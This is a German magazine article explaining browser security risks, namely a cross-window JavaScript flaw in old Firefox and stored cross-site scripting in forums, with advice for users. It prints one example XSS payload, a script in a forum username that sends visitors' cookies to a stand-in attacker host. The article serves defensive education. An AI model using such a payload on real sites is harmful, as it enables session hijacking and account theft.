Ins Netz gegangen
Sicherheitsfallen im Internet
Code aus dem Internet
Per JavaScript lassen sich Formular-Werte auslesen (Abbildung 3) – auch aus Formularen in einem anderen Fenster. Da das Gefährdungspotential offensichtlich ist (es müssen nur die Online-Banking-Seite und die Seite eines Angreifers gleichzeitig offen sein, damit der Angreifer auf alle Ihre Eingaben Zugriff hat), schränkt JavaScript diesen fenster- oder frameübergreifende Zugriff ein: Er funktioniert nur, wenn beide Seiten/Frames von der gleichen Domain stammen.
Doch grau ist alle Theorie: Immerhin bis einschließlich Firefox 1.0 war diese wichtige Einschränkung nicht richtig implementiert. Zumindest aktuelle Konqueror- oder Opera-Versionen weisen diese Verwundbarkeit nicht auf. Folgendes Szenario wäre mit Firefox < 1.0 realisierbar: Ein Angreifer schickt per Mail einen präparierten Link. Dieser öffnet zwar Ihre Bank-Seite, im Hintergrund jedoch zusätzlich ein kleines Popup. Dieses nicht sichtbare Fenster kann dann alle Eingaben "mitschreiben" und dem Angreifer zusenden.
Bedrohung JavaScript
- Gehen Sie nie über Links aus zweifelharter Quelle (sprich: Mails; Internet-Seite, deren Seriosität nicht zweifelsfrei feststeht) auf Seiten, die sicherheitskritische Anwendungen bereitstellen. Über präparierte Links kann leicht bösartiger JavaScript-Code eingeschleust werden.
- Verwenden Sie nur Bookmarks, die Sie selbst erstellt haben.
- Starten Sie den Browser neu, um sicherzustellen, dass nicht fehlerhafterweise noch JavaScript-Code aus zuvor besuchten Seiten aktiv ist.
Die Hintertür
Webanwendungen wie Foren spielen Angreifern oft in die Hände: Häufig lässt sich über die Hintertüre für die Seitenbesucher gefährlicher JavaScript-Code einschleusen. So könnte ein Angreifer versuchen, sich mit dem Benutzernamen BoeserBube <script>(new Image).src="http://www.angreifer.de/spy.php?sniff=+document.cookie";</script>) anzumelden. Möglich, dass die Webanwendung den JavaScript-Anteil ausfiltert oder den Namen wegen seiner Länge zurückweist. Wenn jedoch nicht, so steht auf jeder Seite, auf der der Benutzername angezeigt wird, ein Skript-Code, der die Cookies der Seitenbesucher ausliest (document.cookie) und diese als Parameter (sniff=[...]) an http://www.angreifer.de übergibt. Sicherheits-Checks des Browsers können hier nichts ausrichten: Der JavaScript-Code steht auf der Seite, zu der die Cookies gehören. Aus Sicht des Browser ist der Zugriff auf die Cookies legitim. Die meisten Webanwendungen nutzen Cookies, um angemeldete Benutzer zu identifizieren (Abbildung 4). Wer Ihr Zugriff auf Ihr Session-Cookie hat, kann "in Ihrem Namen handeln".



